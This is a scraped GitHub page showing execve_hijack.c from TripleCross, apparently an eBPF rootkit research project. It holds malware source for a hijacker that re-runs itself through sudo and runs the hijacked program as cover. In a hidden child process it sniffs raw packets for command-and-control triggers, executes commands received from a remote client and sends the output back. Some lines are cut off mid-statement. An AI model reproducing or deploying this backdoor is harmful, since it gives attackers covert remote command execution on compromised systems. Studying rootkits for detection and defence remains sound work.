TripleCross / src / helpers / execve_hijack.c

h3xduck Finished section 5. Multiple changes in the code accordi... 5d6619c · 2 years ago History

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <sys/wait.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <sys/file.h>
#include <errno.h>
#include <syslog.h>
#include <dlfcn.h>
#include <sys/timerfd.h>
#include <ifaddrs.h>
#include <linux/if_link.h>

#include "lib/RawTCP.h"
#include "../common/c&c.h"
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>

#define LOCK_FILE "/tmp/rootlog"
#define DEFAULT_NETWORK_INTERFACE "enp0s3"

int test_time_values_injection(){

    struct itimerspec new_value, new_value2;
    int max_exp, fd, fd2;
    struct timespec now;
    uint64_t exp, tot_exp;
    ssize_t s;


    fd = timerfd_create(CLOCK_REALTIME, 0);
    if (fd == -1)
        return -1;

    new_value.it_interval.tv_sec = 30;
    new_value.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd, TFD_TIMER_ABSTIME, &new_value, NULL) == -1)
        return -1;

    fd2 = timerfd_create(CLOCK_REALTIME, 0);
    if (fd2 == -1)
```

```c
        return -1;

    new_value2.it_interval.tv_sec = 30;
    new_value2.it_interval.tv_nsec = 0;

    if (timerfd_settime(fd2, TFD_TIMER_ABSTIME, &new_value2, NULL) == -1)
        return -1;


    printf("Timer %i started, address sent %llx\n", fd, (__u64)&new_value);

    return 0;
}


char* execute_command(char* command){
    FILE *fp;
    char* res = calloc(4096, sizeof(char));
    char buf[1024];
```

```c
char* getLocalIpAddress_old(){
    char hostbuffer[256];
    char* IPbuffer = calloc(256, sizeof(char));
    struct hostent *host_entry;
    int hostname;

    hostname = gethostname(hostbuffer, sizeof(hostbuffer));
    if(hostname==-1){
        exit(1);
    }

    host_entry = gethostbyname(hostbuffer);
    if(host_entry == NULL){
        exit(1);
    }

    // To convert an Internet network
    // address into ASCII string
    strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));

    return IPbuffer;
}
    //test_time_values_injection();

int hijacker_process_routine(int argc, char* argv[], int fd){
    //Lock the file to indicate we are already into the routine
    time_t rawtime;
    struct tm * timeinfo;

    time ( &rawtime );
    timeinfo = localtime ( &rawtime );
    char* timestr = asctime(timeinfo);

    int ii = 0;
    while(*(timestr+ii)!='\0'){
        write(fd, timestr+ii, 1);
        ii++;
    }
    write(fd, "\t", 1);

    for(int jj = 0; jj<argc; jj++){
        ii = 0;
        while(*(argv[jj]+ii)!='\0'){
            write(fd, argv[jj]+ii, 1);
            ii++;
        }
        write(fd, "\t", 1);
    }

    write(fd, "\n", 1);
    write(fd, "Sniffing...\n", 13);

    printf("Running hijacking process\n");
    packet_t packet = rawsocket_sniff_pattern(CC_PROT_SYN);
    if(packet.ipheader == NULL){
        write(fd, "Failed to open rawsocket\n", 1);
        return -1;
    }
    write(fd, "Sniffed\n", 9);
    //TODO GET THE IP FROM THE BACKDOOR CLIENT
    char* local_ip = getLocalIpAddress();
    char remote_ip[16];
    inet_ntop(AF_INET, &(packet.ipheader->saddr), remote_ip, 16);
    printf("IP: %s\n", local_ip);

    packet_t packet_ack = build_standard_packet(8000, 9000, local_ip, remote_ip, 4096,
    if(rawsocket_send(packet_ack)<0){
        write(fd, "Failed to open rawsocket\n", 1);
        close(fd);
        return -1;
    }

    //Start of pseudo connection with the rootkit client
    int connection_close = 0;
    while(!connection_close){
        packet_t packet = rawsocket_sniff_pattern(CC_PROT_MSG);
        printf("Received client message\n");
        char* payload = packet.payload;
        char *p;
        p = strtok(payload, "#");
        p = strtok(NULL, "#");
        if(p){
            if(strcmp(p, CC_PROT_FIN_PART)==0){
                printf("Connection closed by request\n");
                connection_close = 1;
            }else{
                printf("Received request: %s\n", p);
                char* res = execute_command(p);
                char* payload_buf = calloc(4096, sizeof(char));
                strcpy(payload_buf, CC_PROT_MSG);
                strcat(payload_buf, res);
                packet_t packet_res = build_standard_packet(8000, 9000, local_ip, remot
                if(rawsocket_send(packet_res)<0){
                    write(fd, "Failed to open rawsocket\n", 1);
                    close(fd);
                    return -1;
                }
                free(payload_buf);
                free(res);
            }
        }
```

Files

1f1c3e0

Go to file

- apps
- docs
- src
  - bin
  - client
  - common
  - ebpf
  - helpers
    - lib
    - Makefile
    - deployer.sh

TripleCross / src / helpers / execve_hijack.c

Top

Code Blame 343 lines (283 loc) · 9.43 KB

Raw

```c
    return 0;
}


int main(int argc, char* argv[], char *envp[]){
    printf("Malicious program execve hijacker executed\n");
    for(int ii=0; ii<argc; ii++){
        //printf("Argument %i is %s\n", ii, argv[ii]);
    }

    if(geteuid() != 0){
        //We do not have privileges, but we do want them. Let's rerun the program now.
        char* args[argc+3];
        args[0] = "sudo";
        args[1] = "/home/osboxes/TFG/src/helpers/execve_hijack";
        //printf("execve ARGS%i: %s\n", 0, args[0]);
        //printf("execve ARGS%i: %s\n", 1, args[1]);
        for(int ii=0; ii<argc; ii++){
            args[ii+2] = argv[ii];
            //printf("execve ARGS%i: %s\n", ii+2, args[ii+2]);
```

- execve_hijack
- execve_hijack.c
- execve_hijack.o
- injection_lib.c
- injection_lib.o
- injection_lib.so
- opcode_reverser.py
- packager.sh
- simple_execve
- simple_execve.c
- simple_execve.o
- simple_open
- simple_open.c
- simple_open.o
- simple_timer
- simple_timer.c
- simple_timer.o
- libbpf
- tools
- user
- vmlinux
- Makefile
- .gitignore
- LICENSE
- README.md

```c
        }
        args[argc+2] = NULL;

        if(execve("/usr/bin/sudo", args, envp)<0){
            perror("Failed to execve()");
            exit(-1);
        }
        exit(0);
    }


    //We proceed to fork() and exec the original program, whilst also executing the one
    //ordered to execute via the network backdoor
    pid_t pid = fork();

    if (pid < 0) {
        perror("Fork failed");
    }
    if (pid == 0) {
        setsid();
        //Child process
        printf("Malicious program child executed with pid %d\n", (int) getpid());

        //First of all check if the locking log file is locked, which indicates that th
        int fd = open(LOCK_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666);
        if(fd<0){
            perror("Failed to open lock file before entering hijacking routine");
            exit(-1);
        }
        if (flock(fd, LOCK_EX|LOCK_NB) == -1) {
            if (errno == EWOULDBLOCK) {
                perror("lock file was locked");
            } else {
                perror("Error with the lockfile");
            }
            exit(-1);
        }
        hijacker_process_routine(argc, argv, fd);
        printf("Child process is exiting\n");
        exit(0);
    }
    //Parent process. Call original hijacked command
    char* hij_args[argc];
    hij_args[0] = argv[1];
    syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
    for(int ii=0; ii<argc-2; ii++){
        hij_args[ii+1] = argv[ii+2];
        syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
    }
    hij_args[argc-1] = NULL;

    if(execve(argv[1], hij_args, envp)<0){
        perror("Failed to execve() originally hijacked process");
        exit(-1);
    }

    wait(NULL);
    printf("parent process is exiting\n");
    return(0);



}
```